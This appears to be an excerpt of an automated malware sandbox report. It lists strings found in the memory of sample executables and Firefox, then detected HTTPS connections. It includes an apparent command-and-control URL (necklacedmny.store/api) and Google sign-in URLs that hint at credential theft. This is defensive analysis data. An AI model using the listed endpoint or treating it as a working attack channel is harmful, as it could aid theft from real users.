Source: d816f1d41e.exe, 0000000E.00000003.2916092827.00000000006DB000.00000004.00000020.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.2916287948.00000000006DD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/f
Source: d816f1d41e.exe, 0000000E.00000003.3077401417.0000000005123000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.2864351680.00000000006ED000.00000004.00000020.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.3077887058.00000000006C5000.00000004.00000020.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.3079048588.00000000006CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store:443/api
Source: powershell.exe, 0000000B.00000002.2846727844.000000000604F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2807610626.00000000063C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: firefox.exe, 0000001F.00000002.3151586568.0000021D56CE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ok.ru/
Source: firefox.exe, 0000001F.00000002.3153416946.0000021D57EC4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3166175514.0000021D5A965000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 0000001F.00000002.3153416946.0000021D57EC4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3166175514.0000021D5A965000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001F.00000002.3153416946.0000021D57EC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sx
Source: firefox.exe, 0000001F.00000002.3151586568.0000021D56C25000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://probeinfo.telemetry.mozilla.org/glean/repositories.
Source: firefox.exe, 0000001F.00000002.3163455413.0000021D5A355000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
Source: firefox.exe, 0000001F.00000002.3182187126.0000021D5B74D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=118.0&pver=2.2
Source: firefox.exe, 0000001F.00000002.3151586568.0000021D56CA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSy
Source: firefox.exe, 0000001F.00000002.3158800052.0000021D584CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 0000001F.00000003.2951370761.0000021D5AD1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3167223156.0000021D5AB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 0000001F.00000002.3191716971.0000021D5BFC6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3151586568.0000021D56CA9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3189282496.0000021D5BEE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 0000001F.00000002.3182187126.0000021D5B747000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com
Source: firefox.exe, 0000001F.00000002.3194476201.0000021D5C2FD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3163455413.0000021D5A355000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 0000001F.00000002.3194476201.0000021D5C2FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 0000001F.00000002.3153416946.0000021D57E0B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3163455413.0000021D5A355000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 0000001F.00000002.3188573044.0000021D5BD0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 0000001F.00000002.3188573044.0000021D5BD0F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3186032773.0000021D5BCDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: firefox.exe, 0000001F.00000002.3158800052.0000021D584CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 0000001F.00000002.3151586568.0000021D56CE1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3163455413.0000021D5A355000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: d816f1d41e.exe, 0000000E.00000003.2866553858.0000000005234000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 0000001F.00000002.3213038233.0000021D5CD58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windows
Source: d816f1d41e.exe, 0000000E.00000003.2866553858.0000000005234000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: firefox.exe, 0000001F.00000002.3213038233.0000021D5CD58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
Source: firefox.exe, 0000001F.00000002.3213038233.0000021D5CD58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 0000001F.00000002.3213038233.0000021D5CD58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 0000001F.00000002.3213038233.0000021D5CD58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: firefox.exe, 0000001F.00000002.3158800052.0000021D584CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 0000001F.00000002.3191716971.0000021D5BF2D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3153416946.0000021D57E0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 0000001F.00000002.3151586568.0000021D56CE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/
Source: firefox.exe, 0000001F.00000002.3151586568.0000021D56C25000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3163455413.0000021D5A355000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://webpack.js.org/concepts/mode/)
Source: firefox.exe, 0000001F.00000002.3151586568.0000021D56CE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: firefox.exe, 0000001F.00000003.2995721181.0000021D62929000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: firefox.exe, 0000001F.00000002.3151586568.0000021D56CE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 0000001F.00000002.3151586568.0000021D56CE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.co.uk/
Source: firefox.exe, 0000001F.00000002.3200842852.0000021D5C4B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: firefox.exe, 0000001F.00000002.3141634658.0000021D562AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3153416946.0000021D57E0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: firefox.exe, 0000001F.00000002.3151586568.0000021D56C25000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2952487746.0000021D5AD57000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2951370761.0000021D5AD1E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 0000001F.00000002.3151586568.0000021D56C25000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill
Source: firefox.exe, 0000001F.00000002.3151586568.0000021D56CE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 0000001F.00000002.3151586568.0000021D56CE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: firefox.exe, 0000001F.00000002.3141634658.0000021D562AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3153416946.0000021D57E0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: firefox.exe, 0000001F.00000002.3151586568.0000021D56CE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ctrip.com/
Source: file.exe, 00000000.00000003.2079545564.00000000059A8000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.2826082954.0000000005146000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 00000017.00000003.2989337398.0000000005B8A000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 00000017.00000003.2981657704.0000000005B8D000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 00000017.00000003.2983890011.0000000005B8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: firefox.exe, 0000001F.00000003.3014465216.0000021D5BD67000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 0000001F.00000003.2952487746.0000021D5AD57000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2951370761.0000021D5AD1E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: file.exe, 00000000.00000003.2079545564.00000000059A8000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.2826082954.0000000005146000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 00000017.00000003.2989337398.0000000005B8A000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 00000017.00000003.2981657704.0000000005B8D000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 00000017.00000003.2983890011.0000000005B8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 0000001F.00000002.3151586568.0000021D56C25000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3151586568.0000021D56CE1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2952487746.0000021D5AD57000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2951370761.0000021D5AD1E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 0000001F.00000002.3194476201.0000021D5C2FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?client=firefox-b-d&q=
Source: firefox.exe, 0000001F.00000002.3151586568.0000021D56CE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 0000001F.00000002.3151586568.0000021D56CE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 0000001F.00000002.3151586568.0000021D56CE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.leboncoin.fr/
Source: d816f1d41e.exe, 0000000E.00000003.2866553858.0000000005234000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: firefox.exe, 0000001F.00000003.3031989438.0000021D5C96C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: d816f1d41e.exe, 0000000E.00000003.2866553858.0000000005234000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000003.2109192961.0000000005C97000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.2866553858.0000000005234000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: d816f1d41e.exe, 0000000E.00000003.2866553858.0000000005234000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2109192961.0000000005C97000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.2866553858.0000000005234000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: firefox.exe, 0000001F.00000002.3153416946.0000021D57E0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: file.exe, 00000000.00000003.2109192961.0000000005C97000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.2866553858.0000000005234000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 0000001F.00000002.3189282496.0000021D5BE8E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 0000001F.00000002.3153416946.0000021D57E0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 0000001F.00000002.3151586568.0000021D56CE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 0000001F.00000002.3213038233.0000021D5CD58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warning
Source: firefox.exe, 0000001F.00000002.3163455413.0000021D5A31A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 0000001F.00000002.3158800052.0000021D584CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3141634658.0000021D56248000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3110454333.0000021091B60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 0000001D.00000002.2930282734.000001DC026A0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2943286440.0000024DFF5DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 0000001F.00000002.3136507783.0000021D4C2CA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3110454333.0000021091B60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE
Source: d40e036167.exe, 00000011.00000002.2960436490.0000000001638000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdwindir

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59822
Source: unknown	Network traffic detected: HTTP traffic on port 59878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59821
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59795
Source: unknown	Network traffic detected: HTTP traffic on port 59803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59798
Source: unknown	Network traffic detected: HTTP traffic on port 59849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59790
Source: unknown	Network traffic detected: HTTP traffic on port 59881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59837
Source: unknown	Network traffic detected: HTTP traffic on port 59870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59834
Source: unknown	Network traffic detected: HTTP traffic on port 59895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59840
Source: unknown	Network traffic detected: HTTP traffic on port 59792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59849
Source: unknown	Network traffic detected: HTTP traffic on port 59873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59845
Source: unknown	Network traffic detected: HTTP traffic on port 59801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 59837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59859
Source: unknown	Network traffic detected: HTTP traffic on port 59893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59861
Source: unknown	Network traffic detected: HTTP traffic on port 59876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 59806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 59882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59869
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59866
Source: unknown	Network traffic detected: HTTP traffic on port 59859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59875
Source: unknown	Network traffic detected: HTTP traffic on port 59807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59870
Source: unknown	Network traffic detected: HTTP traffic on port 59845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59880
Source: unknown	Network traffic detected: HTTP traffic on port 59825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59881
Source: unknown	Network traffic detected: HTTP traffic on port 59880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59807
Source: unknown	Network traffic detected: HTTP traffic on port 59821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59806
Source: unknown	Network traffic detected: HTTP traffic on port 59892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59895
Source: unknown	Network traffic detected: HTTP traffic on port 59793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59890
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59892
Source: unknown	Network traffic detected: HTTP traffic on port 59847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59818
Source: unknown	Network traffic detected: HTTP traffic on port 59816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59816
Source: unknown	Network traffic detected: HTTP traffic on port 59872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59886 -> 443

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:59788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:59790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:59792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:59793 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:59795 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:59798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:59799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.5:59801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.111.133:443 -> 192.168.2.5:59803 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:59806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:59807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:59814 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:59822 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.43.145:443 -> 192.168.2.5:59824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:59825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:59834 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.43.145:443 -> 192.168.2.5:59835 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:59836 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.43.145:443 -> 192.168.2.5:59840 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.43.145:443 -> 192.168.2.5:59843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.43.145:443 -> 192.168.2.5:59845 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.43.145:443 -> 192.168.2.5:59847 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.43.145:443 -> 192.168.2.5:59849 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.43.145:443 -> 192.168.2.5:59852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:59865 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:59866 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:59872 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:59880 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:59881 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:59886 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:59889 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:59890 version: TLS 1.2
